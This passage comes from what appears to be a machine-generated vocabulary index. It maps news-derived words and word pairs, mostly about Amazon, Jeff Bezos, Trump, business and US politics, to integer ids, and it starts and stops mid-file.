73459, "annual operating": 73460, "drugmakers": 73461, "utilizes": 73462, "amazons revenue": 73463, "oversees blocked": 73464, "locations offer": 73465, "story tesla": 73466, "femmes": 73467, "yesterday turkey": 73468, "newsweek report": 73469, "aclu anti": 73470, "honest answer": 73471, "montessori": 73472, "won approve": 73473, "russians special": 73474, "agency managed": 73475, "sans evidence": 73476, "youtube censorship": 73477, "montessori inspired": 73478, "vp2e7uy3aa": 73479, "faster": 73480, "elastic strap": 73481, "maybe movie": 73482, "promised president": 73483, "just struck": 73484, "ontrack": 73485, "bs_bullet_primary facing": 73486, "shutdown according": 73487, "represent long": 73488, "broad bipartisan": 73489, "mozzarella kings": 73490, "transit projects": 73491, "don stop": 73492, "emails exchanged": 73493, "colleagues reps": 73494, "trump sparking": 73495, "story probably": 73496, "just inappropriate": 73497, "key question": 73498, "group earlier": 73499, "longtime friend": 73500, "outlined": 73501, "firm power": 73502, "border security": 73503, "recruiting amazon": 73504, "hurd sit": 73505, "nicole hemmer": 73506, "2750989 lauren": 73507, "tl labor": 73508, "immigrants trump": 73509, "martin singer": 73510, "golden certificate": 73511, "blitzer today": 73512, "methylpyrrolidone": 73513, "article accenture": 73514, "taiwan semi": 73515, "roger alves": 73516, "loot brought": 73517, "reuters blocked": 73518, "letter picks": 73519, "amazonas": 73520, "minimum": 73521, "traction states": 73522, "hard jobs": 73523, "automatically downloaded": 73524, "complete solution": 73525, "fold president": 73526, "father death": 73527, "seconds game": 73528, "knowledge indicate": 73529, "means people": 73530, "heute mittwoch": 73531, "2015 pecker": 73532, "wars trade": 73533, "starks": 73534, "aap": 73535, "celebrate israel": 73536, "exposed damning": 73537, "borrow page": 73538, "conservative google": 73539, "14th congressional": 73540, "monopolize": 73541, "bezos genitalia": 73542, "citi group": 73543, "coverup col": 73544, "help fight": 73545, "city presents": 73546, "sciences team": 73547, "cofounders ben": 73548, "daily emails": 73549, "sanchez did": 73550, "splc designation": 73551, "floating": 73552, "sever ties": 73553, "hudgins director": 73554, "academy just": 73555, "olive branch": 73556, "decades long": 73557, "assailants reportedly": 73558, "insurance market": 73559, "tallahassee fla": 73560, "retail worker": 73561, "valley ahead": 73562, "suffer likewise": 73563, "spiraled": 73564, "subsidiary google": 73565, "huge amounts": 73566, "shutdown draws": 73567, "guthrie": 73568, "share details": 73569, "connects canadians": 73570, "world badass": 73571, "flocked": 73572, "backlash bloomberg": 73573, "dual listed": 73574, "million trump": 73575, "neowin": 73576, "forbes ranking": 73577, "affect single": 73578, "welfare fraud": 73579, "rapidly ramping": 73580, "unrelated industries": 73581, "suggesting political": 73582, "seemingly endless": 73583, "daftness": 73584, "true inc_copyeditedflag": 73585, "household goods": 73586, "stock portland": 73587, "extraordinaire": 73588, "additional losses": 73589, "lawsuit south": 73590, "talented work": 73591, "anticipated project": 73592, "overt trappings": 73593, "television netflixs": 73594, "demonstrates virginia": 73595, "spice cabinet": 73596, "corporate secrets": 73597, "innovative product": 73598, "figured": 73599, "nast chief": 73600, "company decision": 73601, "encouraging enforcement": 73602, "expression women": 73603, "ignored 2013": 73604, "origin data": 73605, "cloud hanging": 73606, "certificate legislation": 73607, "bezos influence": 73608, "amazon nyc": 73609, "turn corner": 73610, "weisberger ab": 73611, "wichita falls": 73612, "great technical": 73613, "der": 73614, "residential delivery": 73615, "lot weaker": 73616, "utilizes verify": 73617, "muilenburg ceo": 73618, "materialize walker": 73619, "court believed": 73620, "trademarked sent": 73621, "slaps": 73622, "placed amazon": 73623, "replace chair": 73624, "najarian walgreens": 73625, "trump column": 73626, "really grabbed": 73627, "ethanol": 73628, "ami feud": 73629, "dry weather": 73630, "216 8739": 73631, "cadwalladr carolecadwalla": 73632, "showed cyber": 73633, "leveraging available": 73634, "reach jobless": 73635, "map challenge": 73636, "boot camp": 73637, "legal read": 73638, "despite fear": 73639, "follows shadow": 73640, "vmware red": 73641, "service group": 73642, "indignation": 73643, "brexit reuters": 73644, "525": 73645, "protein turkey": 73646, "workers oppose": 73647, "charged ryan": 73648, "shabolubalu": 73649, "vn": 73650, "therhoten": 73651, "comment publicly": 73652, "points trump": 73653, "zealand record": 73654, "company hotly": 73655, "best new": 73656, "texas campus": 73657, "mailers amazon": 73658, "grants children": 73659, "report included": 73660, "baby": 73661, "seizes isbn": 73662, "day spot": 73663, "body selfie": 73664, "trade commission": 73665, "ventures long": 73666, "commend new": 73667, "blaming small": 73668, "ashley hallford": 73669, "mazza": 73670, "community look": 73671, "man fighting": 73672, "bring price": 73673, "youve": 73674, "future bezos": 73675, "adult actor": 73676, "vatican morocco": 73677, "voqaw5nn2u": 73678, "07810 791": 73679, "week reports": 73680, "rights multiple": 73681, "cbs earnings": 73682, "134 bought": 73683, "bowl ad": 73684, "republican policies": 73685, "house cnn": 73686, "leader xi": 73687, "political arms": 73688, "production globenewswire": 73689, "report yesterday": 73690, "rally ford": 73691, "power dynamic": 73692, "love monopolies": 73693, "months opinion": 73694, "injected fresh": 73695, "morning oil": 73696, "propaganda advantage": 73697, "finance twist": 73698, "diaspora": 73699, "president threatened": 73700, "reported commerzbank": 73701, "feature hateful": 73702, "educated transported": 73703, "demographics including": 73704, "2018 australia": 73705, "old hometown": 73706, "claim despite": 73707, "trump fumed": 73708, "consistently led": 73709, "workers usually": 73710, "coverage american": 73711, "new analysis": 73712, "ride fed": 73713, "year assassination": 73714, "bathroom breaks": 73715, "lee artisan": 73716, "hughes": 73717, "elections imagine": 73718, "instead": 73719, "omg": 73720, "rattling stock": 73721, "scandalously": 73722, "decimal": 73723, "york desperately": 73724, "prison inmates": 73725, "sum": 73726, "tightened labor": 73727, "coalfire aws": 73728, "including higher": 73729, "corporate makes": 73730, "870": 73731, "trumps personal": 73732, "filipino": 73733, "personnel police": 73734, "forced bezos": 73735, "exploit people": 73736, "actually operate": 73737, "real autonomy": 73738, "daughter brand": 73739, "soccer shirt": 73740, "worker perspective": 73741, "recession japan": 73742, "guidance essentially": 73743, "future revenue": 73744, "major discounts": 73745, "html revenue": 73746, "2018 sources": 73747, "freeman stars": 73748, "primaries koch": 73749, "way according": 73750, "major mailers": 73751, "told congress": 73752, "davao": 73753, "company state": 73754, "employers liable": 73755, "rep maxine": 73756, "floats": 73757, "apples": 73758, "jpm jamie": 73759, "silly camaraderie": 73760, "mccabe career": 73761, "republicans want": 73762, "new scheme": 73763, "program called": 73764, "practically": 73765, "small companies": 73766, "senate tears": 73767, "talk sparked": 73768, "final tower": 73769, "solved": 73770, "running significant": 73771, "playerinstance play": 73772, "offering generous": 73773, "jr girlfriend": 73774, "party interference": 73775, "hq2 think": 73776, "bush gore": 73777, "press feb": 73778, "112 billion": 73779, "blogger kevin": 73780, "comptroller celebrated": 73781, "businesses sell": 73782, "million rider": 73783, "unusually good": 73784, "past home": 73785, "shirts yitzhak": 73786, "collective": 73787, "aron heller": 73788, "save double": 73789, "enhance": 73790, "capital bezos": 73791, "sanctions ___": 73792, "kollmeyer 415": 73793, "pics sent": 73794, "debuted": 73795, "stanley analysts": 73796, "zuker presents": 73797, "website yesterday": 73798, "built construction": 73799, "global demonic": 73800, "mount rushmore": 73801, "properly exercise": 73802, "repeated bashing": 73803, "live trump": 73804, "usps despite": 73805, "investigators looking": 73806, "chris blessington": 73807, "extraordinary risk": 73808, "shopping appears": 73809, "liii": 73810, "cinnamon": 73811, "budget especially": 73812, "vainly pretending": 73813, "offline ally": 73814, "camel": 73815, "news email": 73816, "unseen benefits": 73817, "outages": 73818, "committees": 73819, "stock symb": 73820, "lme": 73821, "important thing": 73822, "years according": 73823, "easley believed": 73824, "carbon offsets": 73825, "new businesses": 73826, "seeks refuge": 73827, "irritating": 73828, "2019 specifically": 73829, "quarter doug": 73830, "lovely light": 73831, "health insurer": 73832, "misinterpreting": 73833, "immigration agencies": 73834, "josh rogin": 73835, "eyebrows president": 73836, "homebody": 73837, "cantillon capital": 73838, "leased cargo": 73839, "conservative voices": 73840, "sudden concerns": 73841, "promotional videos": 73842, "mark helmke": 73843, "story millions": 73844, "exceeding million": 73845, "dingtalk": 73846, "white republicans": 73847, "santa ana": 73848, "wsj says": 73849, "trucking stocks": 73850, "sarah writes": 73851, "forever grateful": 73852, "alex jones": 73853, "5_5": 73854, "engulfs quarantined": 73855, "asset wsj": 73856, "foundation shared": 73857, "outlawing high": 73858, "netflix art": 73859, "children learn": 73860, "protected": 73861, "sized businesses": 73862, "steve fixation": 73863, "firstnet": 73864, "2018 corrected": 73865, "finance teaches": 73866, "pursuing female": 73867, "braithwaite brings": 73868, "true unfortunately": 73869, "active manager": 73870, "exploring": 73871, "enact moratorium": 73872, "case unlike": 73873, "i6 a4ee": 73874, "lobby firm": 73875, "news agencies": 73876, "dollars spent": 73877, "affirmative yeah": 73878, "thesson": 73879, "having huge": 73880, "dalio": 73881, "tiny hometown": 73882, "attract complaints": 73883, "media__image": 73884, "total swamp": 73885, "ta xa": 73886, "teams look": 73887, "stocks pulled": 73888, "stalin armando": 73889, "venting": 73890, "2015 amazon": 73891, "report false": 73892, "herera especially": 73893, "targets cisco": 73894, "checkouts": 73895, "suharto health": 73896, "dont sell": 73897, "enquirer considered": 73898, "tiny player": 73899, "regulatory hurdles": 73900, "sheen jon": 73901, "2nd headquarters": 73902, "amazon win": 73903, "helps entrepreneurs": 73904, "government businesses": 73905, "mueller team": 73906, "product features": 73907, "fuel leak": 73908, "sale screen": 73909, "ethan hawke": 73910, "bittersweet": 73911, "news bolsonaro": 73912, "trump appointed": 73913, "dod deep": 73914, "bezos nude": 73915, "comic begins": 73916, "point party": 73917, "verge conclusion": 73918, "lighthouse": 73919, "conservative employees": 73920, "havoc": 73921, "promoting crop": 73922, "pachter": 73923, "annadel apartments": 73924, "funneled": 73925, "pretexts": 73926, "opening amazon": 73927, "rural italian": 73928, "sophisticated artificial": 73929, "morici": 73930, "war graciously": 73931, "sessions pauses": 73932, "accredited recruitment": 73933, "leadership posts": 73934, "phone bezos": 73935, "warrant disclosure": 73936, "poorest": 73937, "vine program": 73938, "borger": 73939, "awful idea": 73940, "items justifying": 73941, "day maria": 73942, "blackmail drag": 73943, "shrinking industrial": 73944, "year low": 73945, "pasquale": 73946, "werner contributed": 73947, "gmblondonregion": 73948, "battalion reaganbattalion": 73949, "city plans": 73950, "291": 73951, "advanced talks": 73952, "send photos": 73953, "pc": 73954, "weighed going": 73955, "chains scrambling": 73956, "hired amazon": 73957, "amazon serves": 73958, "holding sign": 73959, "352 bought": 73960, "bezos surpassed": 73961, "development according": 73962, "longer afford": 73963, "decided thatthe": 73964, "yielding": 73965, "uber gaap": 73966, "mitchell chance": 73967, "dutch": 73968, "investors cnbc": 73969, "instagram saying": 73970, "reagan bids": 73971, "l8 e8": 73972, "image 635x367": 73973, "alexa enabled": 73974, "director mick": 73975, "streaming hardware": 73976, "remained closed": 73977, "unofficial adviser": 73978, "stored": 73979, "company thriving": 73980, "know really": 73981, "physical health": 73982, "controversial silicon": 73983, "ago secret": 73984, "golden opportunity": 73985, "gps": 73986, "announces final": 73987, "wtr": 73988, "summer 2019": 73989, "parenthood wasted": 73990, "new iteration": 73991, "asked larry": 73992, "suburban denver": 73993, "services doctors": 73994, "year federal": 73995, "bezos stance": 73996, "sheen": 73997, "readership": 73998, "londonthenews wealthwire": 73999, "holidays volumes": 74000, "analysts tim": 74001, "shirts hoodies": 74002, "movie takes": 74003, "second meeting": 74004, "best stuff": 74005, "frequently waded": 74006, "mentioning": 74007, "deeply biographical": 74008, "impeachment pelosi": 74009, "bob ward": 74010, "bezos mackenzie": 74011, "workers cause": 74012, "revealed amid": 74013, "sound quality": 74014, "mojo domestic": 74015, "potential primarily": 74016, "season unfolds": 74017, "content cia": 74018, "pike sears": 74019, "promising land": 74020, "google opened": 74021, "tour mozart": 74022, "overnight mail": 74023, "washington mitch": 74024, "166 ken": 74025, "whines fake": 74026, "article article": 74027, "deandre jordan": 74028, "helped free": 74029, "apple chief": 74030, "big dam": 74031, "notes personal": 74032, "word response": 74033, "2018 lion": 74034, "swj": 74035, "impeaching": 74036, "scientific value": 74037, "scholar lost": 74038, "physical analogy": 74039, "competing companies": 74040, "gapping": 74041, "best read": 74042, "fascism": 74043, "believe alphabet": 74044, "twitter moderation": 74045, "act swiftly": 74046, "success factor": 74047, "hourly compensation": 74048, "retailer promoted": 74049, "states loser": 74050, "reckon": 74051, "microinvesting": 74052, "drop sharply": 74053, "demand insurance": 74054, "words icymi": 74055, "positive collaborative": 74056, "service regulations": 74057, "resumed construction": 74058, "dying war": 74059, "squawk": 74060, "process stephenson": 74061, "includes thousands": 74062, "world follow": 74063, "wearing shirts": 74064, "proprietary deal": 74065, "exacerbate": 74066, "comment companies": 74067, "industries expected": 74068, "did apple": 74069, "rhetorically": 74070, "river job": 74071, "penned letter": 74072, "weaken": 74073, "129m": 74074, "merchandise offerings": 74075, "horn greer": 74076, "systems amazon": 74077, "expansion continues": 74078, "officials pilfering": 74079, "logo emblazoned": 74080, "watching sports": 74081, "ap\u00e9ritif cocktail": 74082, "significantly weaker": 74083, "kreme": 74084, "financing led": 74085, "consumers voluntarily": 74086, "lordstown plant": 74087, "bystander revolution": 74088, "dramatic finale": 74089, "wapo breaking": 74090, "policies enter": 74091, "expected today": 74092, "book victory": 74093, "increase revenue": 74094, "anticipates": 74095, "reform act": 74096, "glumly": 74097, "warehouse leaders": 74098, "hand wringing": 74099, "strategy designed": 74100, "komorebi craft": 74101, "becker called": 74102, "industry groups": 74103, "eagerly": 74104, "hayes": 74105, "public instead": 74106, "city called": 74107, "result separately": 74108, "watch airpods": 74109, "dominant mail": 74110, "california press": 74111, "draw customers": 74112, "contact ny": 74113, "mollie tibbetts": 74114, "monopoly behavior": 74115, "hand makes": 74116, "sharply changing": 74117, "visit st": 74118, "illinois remains": 74119, "threatens eu": 74120, "tough things": 74121, "trusted cardinal": 74122, "deleting obvious": 74123, "distribution points": 74124, "gluey": 74125, "future think": 74126, "reverse mortgage": 74127, "administration aluminum": 74128, "obama encouraged": 74129, "forbes 400": 74130, "country leading": 74131, "cast gush": 74132, "time created": 74133, "vip viewing": 74134, "category amazon": 74135, "reverse amazon": 74136, "straight talker": 74137, "google did": 74138, "medications amazon": 74139, "roughly 860": 74140, "actually meet": 74141, "aquarefining tm": 74142, "enterprisewide transformation": 74143, "congress consider": 74144, "claimed national": 74145, "inequality yes": 74146, "washington reuters": 74147, "morrow cookbooks": 74148, "inducing details": 74149, "reeves marketwatch": 74150, "purpose protect": 74151, "2018 ryan": 74152, "renovation business": 74153, "horseback": 74154, "k0 function": 74155, "enforcer": 74156, "potentially damaging": 74157, "sag": 74158, "countering": 74159, "opener": 74160, "finance violations": 74161, "img_foreignkey": 74162, "shooting alabama": 74163, "abrams times": 74164, "packagejoin": 74165, "literally says": 74166, "make direct": 74167, "foods today": 74168, "federal definition": 74169, "frequent trump": 74170, "lips": 74171, "hollenhorst": 74172, "paul candidate": 74173, "hardware partners": 74174, "everybody agrees": 74175, "cia director": 74176, "guinea": 74177, "innovator": 74178, "report chicago": 74179, "know actually": 74180, "workdays": 74181, "leader trudeau": 74182, "swell": 74183, "hiring engineers": 74184, "ace cash": 74185, "approximately 400": 74186, "commerce real": 74187, "qanon explainer": 74188, "asked university": 74189, "expensive despite": 74190, "slammed accusations": 74191, "trump constructed": 74192, "plays role": 74193, "usps sackler": 74194, "product improvements": 74195, "volatile vietnam": 74196, "ceo evan": 74197, "just export": 74198, "rankin university": 74199, "office massive": 74200, "bali vacation": 74201, "jhamilton33": 74202, "historically union": 74203, "curb labor": 74204, "newsgathering new": 74205, "times ft": 74206, "cloud ceo": 74207, "things private": 74208, "means chairman": 74209, "trend fed": 74210, "nasty": 74211, "read deals": 74212, "cap strongly": 74213, "nary": 74214, "712": 74215, "doyle": 74216, "eia": 74217, "moneymaking": 74218, "stocks rise": 74219, "niles founding": 74220, "ntap looks": 74221, "skinny": 74222, "chabad": 74223, "groceries pharmacies": 74224, "journalism categories": 74225, "television interview": 74226, "filmmaker intensely": 74227, "tunisia democracy": 74228, "meet big": 74229, "matt damon": 74230, "china parliament": 74231, "damian": 74232, "cuba": 74233, "isn impressive": 74234, "size weight": 74235, "kathleen cannon": 74236, "formulate new": 74237, "counselor craig": 74238, "court amid": 74239, "pratt": 74240, "criticism prompted": 74241, "russell grandinetti": 74242, "bianco pizza": 74243, "jonathan kumar": 74244, "using oracle": 74245, "literary glimpse": 74246, "conflicted guess": 74247, "initiates": 74248, "prosperity program": 74249, "earlier buffett": 74250, "sicario": 74251, "high looking": 74252, "make customers": 74253, "attacking immigrants": 74254, "action network": 74255, "bathrooms speaking": 74256, "dc2b 44ec": 74257, "yara": 74258, "extraordinary donate": 74259, "properties nyse": 74260, "india especially": 74261, "workers save": 74262, "week subscribe": 74263, "big change": 74264, "conversations occurring": 74265, "cuomo depends": 74266, "abandoning": 74267, "ray version": 74268, "dribble": 74269, "skyline raised": 74270, "crisis brian": 74271, "initially released": 74272, "employee pac": 74273, "google remained": 74274, "outlet buys": 74275, "moreno roost": 74276, "constantly updated": 74277, "leon despite": 74278, "corporation fiance": 74279, "running catch": 74280, "hill instead": 74281, "documentary airs": 74282, "yesterday overruled": 74283, "woman finds": 74284, "clinton just": 74285, "economic growth": 74286, "jonerpnewsfeed mypov": 74287, "environmental threats": 74288, "department declined": 74289, "puerto": 74290, "acto countries": 74291, "nice things": 74292, "traditional vms": 74293, "johnson tilda": 74294, "criminals directing": 74295, "biden decide": 74296, "attacked statue": 74297, "immigration courts": 74298, "senate sanders": 74299, "facility noam": 74300, "motivated potentially": 74301, "satanic cabal": 74302, "potentially far": 74303, "targets national": 74304, "origin pipped": 74305, "ascent extended": 74306, "lasted quirky": 74307, "gump strauss": 74308, "related bodies": 74309, "salads": 74310, "rtx 8000": 74311, "bloomberg final": 74312, "open tennis": 74313, "detectives combing": 74314, "season haverty": 74315, "pr campaign": 74316, "adjective": 74317, "actually kinda": 74318, "2019 advanced": 74319, "tough talk": 74320, "bryan robinson": 74321, "tax issues": 74322, "profit amazon": 74323, "service taxes": 74324, "crore": 74325, "impeach 2045": 74326, "responded effectively": 74327, "follow industry": 74328, "prosciutto": 74329, "company created": 74330, "diggs": 74331, "softening": 74332, "company environmental": 74333, "tour apps": 74334, "recovered": 74335, "debit": 74336, "lesbian": 74337, "high octane": 74338, "trading 3x": 74339, "allies trump": 74340, "ap finance": 74341, "doubtful": 74342, "potential relationships": 74343, "customers order": 74344, "used capital": 74345, "intelligence expanded": 74346, "hub black": 74347, "cuomo argue": 74348, "circle politicians": 74349, "trump opposes": 74350, "atalanta": 74351, "progressive push": 74352, "daisy getty": 74353, "warner speaking": 74354, "meals marc": 74355, "vegetable garden": 74356, "evidence consumers": 74357, "fast wireless": 74358, "wage movement": 74359, "stakeholder": 74360, "tech education": 74361, "spitting": 74362, "best impact": 74363, "ad snl": 74364, "cronyism government": 74365, "constant video": 74366, "practice believes": 74367, "dreambox": 74368, "consider dropping": 74369, "does potus": 74370, "profit targets": 74371, "simply doesn": 74372, "thousand boxes": 74373, "ceremonial face": 74374, "lynching victim": 74375, "senior research": 74376, "think president": 74377, "steadman read": 74378, "abundance": 74379, "fisher investments": 74380, "navy sends": 74381, "crash housing": 74382, "plastics negatively": 74383, "price gas": 74384, "ooh shiny": 74385, "news slavish": 74386, "termination point": 74387, "saves": 74388, "topped earnings": 74389, "trump opined": 74390, "apprentices": 74391, "perturb": 74392, "blocked texan": 74393, "hits utah": 74394, "pot partner": 74395, "accusations individually": 74396, "internet movie": 74397, "personal luxuries": 74398, "enemies list": 74399, "saul goodman": 74400, "avi": 74401, "higher number": 74402, "traders": 74403, "busy making": 74404, "york relationship": 74405, "company dna": 74406, "dialectics": 74407, "epitomizes": 74408, "urdupoint news": 74409, "recruiters": 74410, "disaster aid": 74411, "thesis requires": 74412, "food media": 74413, "rage unfortunately": 74414, "acosta press": 74415, "bryant staff": 74416, "147 kyle": 74417, "contribute millions": 74418, "fundamental": 74419, "treachery": 74420, "william bradbury": 74421, "estate projects": 74422, "stark member": 74423, "solved people": 74424, "previously owned": 74425, "slash filmmaker": 74426, "aviation administration": 74427, "minority opposition": 74428, "c_137951892": 74429, "antitrust investigations": 74430, "terms wiped": 74431, "hill interrogations": 74432, "false identities": 74433, "trump focus": 74434, "website biography": 74435, "spoof amazon": 74436, "openly disdains": 74437, "financial watchdog": 74438, "earnings left": 74439, "administration obama": 74440, "exploit public": 74441, "weekly publication": 74442, "giants colluding": 74443, "home internet": 74444, "insurance policy": 74445, "month recommended": 74446, "stroup": 74447, "apos apos": 74448, "shows": 74449, "dreamers": 74450, "micro wasn": 74451, "usps arguing": 74452, "pays people": 74453, "hindu chauvinism": 74454, "revelation data": 74455, "paragon": 74456, "heavier guess": 74457, "certain people": 74458, "post keeps": 74459, "chickens raised": 74460, "example public": 74461, "montpelier": 74462, "house council": 74463, "bullmarkets": 74464, "dale": 74465, "word boosting": 74466, "owning hotels": 74467, "sanchez centre": 74468, "amazon warren": 74469, "holmes director": 74470, "pepper spray": 74471, "makeover price": 74472, "manufacturing threatens": 74473, "theoretically act": 74474, "story google": 74475, "gb": 74476, "internationally": 74477, "haley announced": 74478, "week launched": 74479, "bold edgy": 74480, "legal experts": 74481, "constituted violation": 74482, "oil trade": 74483, "recurring topic": 74484, "scheme used": 74485, "contracts govern": 74486, "adopted maxine": 74487, "news association": 74488, "bony spurs": 74489, "apps increased": 74490, "media 2017": 74491, "workers skipping": 74492, "essentials mama": 74493, "scrutiny according": 74494, "judge answered": 74495, "british journal": 74496, "recently closed": 74497, "facebook coverage": 74498, "indian ecommerce": 74499, "holier": 74500, "scheming": 74501, "regularly scheduled": 74502, "work sununu": 74503, "gta workforce": 74504, "nutrients": 74505, "survivor despite": 74506, "diverse places": 74507, "government makes": 74508, "harrowing answers": 74509, "industry payments": 74510, "statement reforms": 74511, "denigrating": 74512, "watch dave": 74513, "kavanaugh celebration": 74514, "people \u0430and": 74515, "scholar justice": 74516, "long investigation": 74517, "dynamic insets": 74518, "little fires": 74519, "stephanie ruhle": 74520, "bezos gavin": 74521, "exonerate trump": 74522, "negative source": 74523, "retrospective video": 74524, "ami publish": 74525, "rare": 74526, "mitchell told": 74527, "texas manhunt": 74528, "nfl fans": 74529, "investigators sanchez": 74530, "solving memory": 74531, "pentagon brain": 74532, "educated life": 74533, "daniel lippman": 74534, "island railroad": 74535, "cherry picked": 74536, "comments subscribe": 74537, "overrides videocollection": 74538, "mattel": 74539, "falling consumer": 74540, "sourcing alternate": 74541, "kristi funk": 74542, "bee amazon": 74543, "abridged version": 74544, "ubhi left": 74545, "elizabeth dwoskin": 74546, "piedmont triad": 74547, "squarespace": 74548, "surprising given": 74549, "alexa engineer": 74550, "mile 246": 74551, "reforms trump": 74552, "yeats": 74553, "enquirer publisher": 74554, "trying month": 74555, "train people": 74556, "2017 craig": 74557, "congress refuses": 74558, "citing regulatory": 74559, "uber driver": 74560, "businesses taking": 74561, "rice subsequently": 74562, "fix crumbling": 74563, "wing politicians": 74564, "postrecession": 74565, "nance": 74566, "lewis slipped": 74567, "government using": 74568, "minecraft series": 74569, "2018 asc": 74570, "copper canyon": 74571, "reporter email": 74572, "spice spice": 74573, "suggest potential": 74574, "fictional drama": 74575, "lampert soap": 74576, "giving unelected": 74577, "author second": 74578, "play toy": 74579, "company office": 74580, "talking cities": 74581, "parsimonious": 74582, "barbs including": 74583, "large trade": 74584, "myth development": 74585, "company": 74586, "background investigation": 74587, "pursued surge": 74588, "free prior": 74589, "455 shares": 74590, "projections wisconsin": 74591, "online activity": 74592, "positions vacant": 74593, "consumers boycott": 74594, "movie producers": 74595, "marketplace necessitate": 74596, "228515 228504": 74597, "age presumably": 74598, "create new": 74599, "ian600f amazon": 74600, "trump menswear": 74601, "bad choices": 74602, "praised supreme": 74603, "pugh": 74604, "tao says": 74605, "microsoft privacy": 74606, "monza sp1": 74607, "ionospheric drug": 74608, "strong amazon": 74609, "different paint": 74610, "depress company": 74611, "seaport": 74612, "really terrible": 74613, "delivery landscape": 74614, "service accusing": 74615, "produce value": 74616, "guild mortgage": 74617, "wagyu wants": 74618, "dad super": 74619, "memories": 74620, "lauding": 74621, "contaminated air": 74622, "house federal": 74623, "trump apparent": 74624, "share makes": 74625, "day snow": 74626, "court sent": 74627, "story united": 74628, "earning season": 74629, "sinclair owned": 74630, "humanization effort": 74631, "moore gibson": 74632, "grocery market": 74633, "christine murray": 74634, "2000 bartiromo": 74635, "breaks snuck": 74636, "selfie according": 74637, "values alphabet": 74638, "impel bezos": 74639, "dream jurassic": 74640, "corporate filing": 74641, "total cumulative": 74642, "rich miller": 74643, "department change": 74644, "854 billion": 74645, "idina says": 74646, "sink 38m": 74647, "markets vox": 74648, "human review": 74649, "scosche": 74650, "natural jeff": 74651, "pattinson": 74652, "flask": 74653, "wi fi": 74654, "york mayor": 74655, "amazon successful": 74656, "emergency says": 74657, "cereals": 74658, "corporate villain": 74659, "regimes amazon": 74660, "k4e": 74661, "fraser": 74662, "movie studios": 74663, "unlikely suspect": 74664, "awards based": 74665, "salacious material": 74666, "100418 small": 74667, "tech specifically": 74668, "planet named": 74669, "change brazilian": 74670, "origin finally": 74671, "mother anne": 74672, "initially higher": 74673, "nuclear threat": 74674, "story banks": 74675, "anxious interior": 74676, "mark especially": 74677, "make feel": 74678, "television cbc": 74679, "srclarge": 74680, "photo link": 74681, "michael calderone": 74682, "welfare proving": 74683, "happy trump": 74684, "stage interview": 74685, "motorcycle gangs": 74686, "1000 metres": 74687, "opioid addicts": 74688, "paraphrasing": 74689, "war esque": 74690, "modernize": 74691, "entrepreneursto enter": 74692, "facebook president": 74693, "does including": 74694, "gallery albany": 74695, "abc new": 74696, "editorials google": 74697, "politico sources": 74698, "miranda president": 74699, "vests": 74700, "loudmouthed": 74701, "diseases 2019": 74702, "potentially seismic": 74703, "toni reid": 74704, "expanding federally": 74705, "checkmate newsday": 74706, "street seattle": 74707, "effort geeks": 74708, "apart million": 74709, "sunshine scrutiny": 74710, "silence potentially": 74711, "government activity": 74712, "deadly": 74713, "radical drug": 74714, "bolduan sorry": 74715, "american technological": 74716, "era biggest": 74717, "cool merchandise": 74718, "france president": 74719, "amazons interests": 74720, "los derechos": 74721, "consult reported": 74722, "tweeted baseless": 74723, "immigration claiming": 74724, "actions involving": 74725, "informal forum": 74726, "possible prelude": 74727, "consultancy acuity": 74728, "gaines harper": 74729, "inmate": 74730, "jennifer wexton": 74731, "current_video_collection": 74732, "virus": 74733, "aki soga": 74734, "incoherent dance": 74735, "ted leonsis": 74736, "mexican border": 74737, "questioned lauren": 74738, "bezos eventually": 74739, "play favorites": 74740, "work griffeth": 74741, "foundation": 74742, "experts fear": 74743, "broadband growth": 74744, "deal nyt": 74745, "employees growth": 74746, "ipo looks": 74747, "charitable efforts": 74748, "union targeting": 74749, "establish headquartershere": 74750, "rate thriller": 74751, "created scandal": 74752, "retailers uneasy": 74753, "occurred related": 74754, "britons telephone": 74755, "incredible growth": 74756, "geekwire health": 74757, "desist orders": 74758, "scarce": 74759, "sindhuja": 74760, "clifford levy": 74761, "state led": 74762, "pillpack visionary": 74763, "products averaged": 74764, "torres aims": 74765, "impugning": 74766, "esrx mckesson": 74767, "simply investing": 74768, "counterfeit variations": 74769, "835": 74770, "completely offsetting": 74771, "investment advisors": 74772, "entities trump": 74773, "future prospects": 74774, "court recognizes": 74775, "marriage split": 74776, "\u01612017": 74777, "lavrentiy": 74778, "stacey jimenez": 74779, "trump screams": 74780, "time highs": 74781, "babes galore": 74782, "1958": 74783, "accolade": 74784, "grocery rules": 74785, "lincoln time": 74786, "howard shultz": 74787, "earliest brain": 74788, "grassroots effort": 74789, "black person": 74790, "concerns raised": 74791, "country illegally": 74792, "turned helicopter": 74793, "major booster": 74794, "democratic adoration": 74795, "tim simons": 74796, "gun australian": 74797, "latestnews newstoday": 74798, "blank prompt": 74799, "statement regarding": 74800, "skapos": 74801, "stoking tensions": 74802, "republican pacs": 74803, "investigation did": 74804, "mechanics": 74805, "056": 74806, "playing american": 74807, "french government": 74808, "house departures": 74809, "decree chuck": 74810, "key member": 74811, "amazon lust": 74812, "deals involving": 74813, "opec": 74814, "sinegal": 74815, "usps contracts": 74816, "ripples amazon": 74817, "refuted criticisms": 74818, "committee colorado": 74819, "separating amazon": 74820, "join 100": 74821, "schwarzenegger": 74822, "john adams": 74823, "creating terrorism": 74824, "agency decisions": 74825, "particularly good": 74826, "burglary charge": 74827, "time right": 74828, "liz claman": 74829, "irreparably": 74830, "retiring number": 74831, "world fun": 74832, "isbn numbers": 74833, "sales fell": 74834, "running beefs": 74835, "bladder": 74836, "sourcefacebook perfumania": 74837, "forcing new": 74838, "faragher ellerth": 74839, "digits": 74840, "tempo": 74841, "computer geek": 74842, "manipulate workers": 74843, "hedgehog": 74844, "obvious raines": 74845, "policies cashless": 74846, "special characteristics": 74847, "angeles times": 74848, "oils spent": 74849, "lavalin trump": 74850, "gaslight cafe": 74851, "2018 tweets": 74852, "post euro": 74853, "retirement spend": 74854, "avoided police": 74855, "latest crash": 74856, "walnut": 74857, "cutthroat office": 74858, "amazon drew": 74859, "2f2018 freq": 74860, "profit picture": 74861, "make big": 74862, "great disney": 74863, "fair brown": 74864, "exist sign": 74865, "immediate suspect": 74866, "kirio iot": 74867, "french gripped": 74868, "chipmakers fell": 74869, "helming onewest": 74870, "continued financial": 74871, "amazon sick": 74872, "6_1107": 74873, "hill glob": 74874, "later soliciting": 74875, "fiercely opposing": 74876, "trump unhappy": 74877, "stancy": 74878, "records google": 74879, "iscertainly": 74880, "715": 74881, "christian channels": 74882, "service receive": 74883, "future growth": 74884, "profound understanding": 74885, "enable consumers": 74886, "simply argue": 74887, "focused indigenous": 74888, "guilty regarding": 74889, "welcomed development": 